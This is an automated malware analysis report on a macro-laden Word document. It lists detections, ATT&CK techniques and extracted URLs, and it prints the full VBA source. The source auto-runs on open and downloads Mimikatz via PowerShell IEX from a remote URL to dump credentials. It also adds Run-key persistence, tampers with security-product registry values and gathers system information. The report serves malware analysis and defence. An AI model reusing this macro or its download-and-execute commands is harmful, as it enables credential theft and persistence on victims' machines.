Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f596b06c5d8b62a5…

MALICIOUS

Office (OOXML)

21.4 KB Created: 2018-07-19 12:45:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-09-30
MD5: 9b5dda947e60b38a9110d4327ba639dc SHA-1: 19d248b5fcd56ac46b9df456bae7a817e3d3e022 SHA-256: f596b06c5d8b62a53053e8f2ccc8ccabe44d0181572dd1cfa90bc0e02a9dd772
466 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that execute upon opening, as indicated by the AutoOpen and Auto_Open subroutines. These macros utilize WScript.Shell and CreateObject to execute PowerShell commands. Specifically, one subroutine attempts to download and execute Mimikatz from 'http://is.gd/oeoFuI' and save credentials to a file, while another executes 'powershell.exe Start-Process -FilePath "http://www.nu.co.za/" '. The presence of these commands and the ClamAV detection strongly suggest a downloader and credential-stealing payload.

Heuristics 12

  • ClamAV: Doc.Downloader.Pwshell-6923023-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-6923023-0
  • VBA project inside OOXML medium 9 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    exec = "powershell.exe Start-Process -FilePath ""http://www.nu.co.za/"" "
    Shell (exec)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
    exec = "powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds > c:\BadFolder\" & sHostName & ".txt 2>&1"
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    'Let them know that CarbonBlack is there for them
    exec = "powershell.exe Start-Process -FilePath ""http://www.nu.co.za/"" "
    Shell (exec)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
    exec = "powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds > c:\BadFolder\" & sHostName & ".txt 2>&1"
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    exec = windir & "\System32\cmd.exe /C ""set username"" >> " & userprofile & "\Desktop\attackerdata.txt"
    oShell.Run exec, DontShowWindow, WaitUntilFinished
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub AutoOpen()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    2 'Different version of word use a different auto-exec method to run on document open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ' Get Host Name / Get Computer Name
    sHostName = Environ$("computername")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.nu.co.za/ In document text (OOXML body / shared strings)
    • http://is.gd/oeoFuIIn document text (OOXML body / shared strings)
    • http://www.carbonblack.comIn document text (OOXML body / shared strings)
    • http://malware.wicar.org/data/eicar.comIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7201 bytes
SHA-256: aa8b79748ae1aab507dd56a3ffbe8803925064c9d196c3b3c5a85e3c75dc5c68
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

'Start by creating a network connection
Call Create_Network_Connection

Call Create_Persistance

'Output some text to a file
Call Output_Data_File

'So what is this sysetem?
Call Enumerate_System

'Make a registry change
Call Make_Registry_Modification

'Display content of text file
Call Display_Notepad

'Start the Ransomware
Call WhoLetTheCatout

Call Wrapup

End Sub

Sub Auto_Open()
2 'Different version of word use a different auto-exec method to run on document open
Call AutoOpen

End Sub

Sub Wrapup()
'Let them know that CarbonBlack is there for them
exec = "powershell.exe Start-Process -FilePath ""http://www.nu.co.za/"" "
Shell (exec)

End Sub

Sub WhoLetTheCatout()
'Download and execute Mimikatz in Memory

Dim exec As String
Dim sHostName As String

' Get Host Name / Get Computer Name
sHostName = Environ$("computername")

US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
exec = "powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds > c:\BadFolder\" & sHostName & ".txt 2>&1"
Shell (exec)
End Sub

Sub Output_Data_File()
US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
Set fso = CreateObject("Scripting.FileSystemObject")
Set outfile = fso.CreateTextFile(US & "\Desktop\attackerdata.txt")
Dim outputtext As String

outputtext = "****Simulated Attack****" & vbCrLf
outputtext = outputtext & "The word document, you just opened, is a non-malicous example of a non-malware type attack or ""Living off the land attack"" " & vbCrLf
outputtext = outputtext & "The document was able to open a network connection using powershell, simulating the establishment of a Command & Control Channel" & vbCrLf
outputtext = outputtext & "This was done using powershell to ping the server as well as open a webpage from the server" & vbCrLf & vbCrLf
outputtext = outputtext & "The document then created a new registry key:" & vbCrLf
outputtext = outputtext & "HKCU\BadKey" & vbCrLf
outputtext = outputtext & "and added some values:" & vbCrLf
outputtext = outputtext & "HKCU\BadKey\DWordValue" & vbCrLf
outputtext = outputtext & "HKCU\BadKey\CarbonBlack" & vbCrLf & vbCrLf
outputtext = outputtext & "It also changed the DisplayName in the Carbon Black registry to show tampering of the Cb sensor:" & vbCrLf
outputtext = outputtext & "HKLM\SYSTEM\CurrentControlSet\services\carbonblackk\DisplayName" & vbCrLf & vbCrLf
outputtext = outputtext & "and finally added a AutoStart value in the Run registry key asl well, to autostart Notepad:" & vbCrLf
outputtext = outputtext & "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\badstuff" & vbCrLf & vbCrLf
outputtext = outputtext & "It created a folder in the root of the C drive and downloaded the Eicar test file in it:" & vbCrLf
outputtext = outputtext & "c:\BadFolder\eicar.com" & vbCrLf & vbCrLf
outputtext = outputtext & "It then downloaded the Mimikatz PowerShell script to execute it and save the lsass dump:" & vbCrLf
outputtext = outputtext & "c:\BadFolder\" & sHostName & ".txt" & vbCrLf & vbCrLf
outputtext = outputtext & "It created this file on the current user's desktop" & vbCrLf
outputtext = outputtext & "It then launched notepad from within powershell and displayed the contents of the file you are currently viewing" & vbCrLf
outputtext = outputtext & "" & vbCrLf
outputtext = outputtext & "If this had been a real attack your anit-virus, anti-exploit and anti-malware solution didn't save you" & vbCrLf
outputtext = outputtext & "Maybe it's time to look at the leader in Next Generation Endpoint Security - CarbonBlack" & vbCrLf
outputtext = outputtext & "http:\\carbonblack.com" & vbCrLf & vbCrLf
outputtext = outputtext & "Below is some of the information the attacker could have gathered about your system" & vbCrLf & vbCrLf

outfile.Write outputtext
outfile.Close

End Sub

Sub Create_Network_Connection()
Dim exec As String

US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
exec = "powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://www.carbonblack.com', '" & US & "\Desktop\carbonblack.HTML')"
Shell (exec)

'ping the website
exec = "powershell.exe Test-Connection -computername www.carbonblack.com"
Shell (exec)

'ping malicious IP address
exec = "powershell.exe  Test-Connection -IPAddress 93.199.223.51 -Count 1 -Quiet"
Shell (exec)

'Open the CarbonBlack website
exec = "powershell.exe Start-Process -FilePath ""www.carbonblack.com"" "
Shell (exec)

End Sub

Sub Make_Registry_Modification()
' Create a WSH Shell object:
Set WshShell = CreateObject("WScript.Shell")
'
' Create a new key:
WshShell.RegWrite "HKCU\BadKey\", ""

' Create a new DWORD value:
WshShell.RegWrite "HKCU\BadKey\DWordBadValue", 1, "REG_DWORD"

' Create a new string value:
WshShell.RegWrite "HKCU\BadKey\CarbonBlack", "Wuz here!", "REG_SZ"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\badstuff", "c:\BadFolder\eicar.com", "REG_SZ"
WshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\services\carbonblackk\DisplayName", "CarbonBlack Core Driver !!", "REG_SZ"

End Sub

Sub Display_Notepad()
Dim exec As String
userprofile = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
windir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%windir%")

'Open that text file we created
exec = windir & "\system32\notepad.exe " & userprofile & "\Desktop\attackerdata.txt"

Shell (exec)
End Sub

Sub Enumerate_System()
Const DontWaitUntilFinished = False, Showwindow = 1, WaitUntilFinished = True
Dim exec As String
userprofile = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
windir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%windir%")
Set oShell = CreateObject("WScript.Shell")

exec = windir & "\System32\cmd.exe /C ""set username"" >> " & userprofile & "\Desktop\attackerdata.txt"
oShell.Run exec, DontShowWindow, WaitUntilFinished

exec = windir & "\System32\cmd.exe /C Echo. >> " & userprofile & "\Desktop\attackerdata.txt"
oShell.Run exec, DontShowWindow, WaitUntilFinished
exec = windir & "\System32\cmd.exe /C Echo SystemInfo >> " & userprofile & "\Desktop\attackerdata.txt"
oShell.Run exec, DontShowWindow, WaitUntilFinished
exec = windir & "\System32\cmd.exe /C ""systeminfo"" >> " & userprofile & "\Desktop\attackerdata.txt"
oShell.Run exec, DontShowWindow, WaitUntilFinished

End Sub

Sub Create_Persistance()
Dim exec As String

exec = "powershell.exe (md -Path 'C:\BadFolder')"
Shell (exec)

US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
exec = "powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://malware.wicar.org/data/eicar.com', 'c:\BadFolder\eicar.com')"
Shell (exec)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: 5823e13657b2ab5da12e5382c3d5346eedd9e906dd0aa896c6a73e9619b2e549
Detection
ClamAV: Doc.Downloader.Pwshell-6923023-0
Obfuscation or payload: unlikely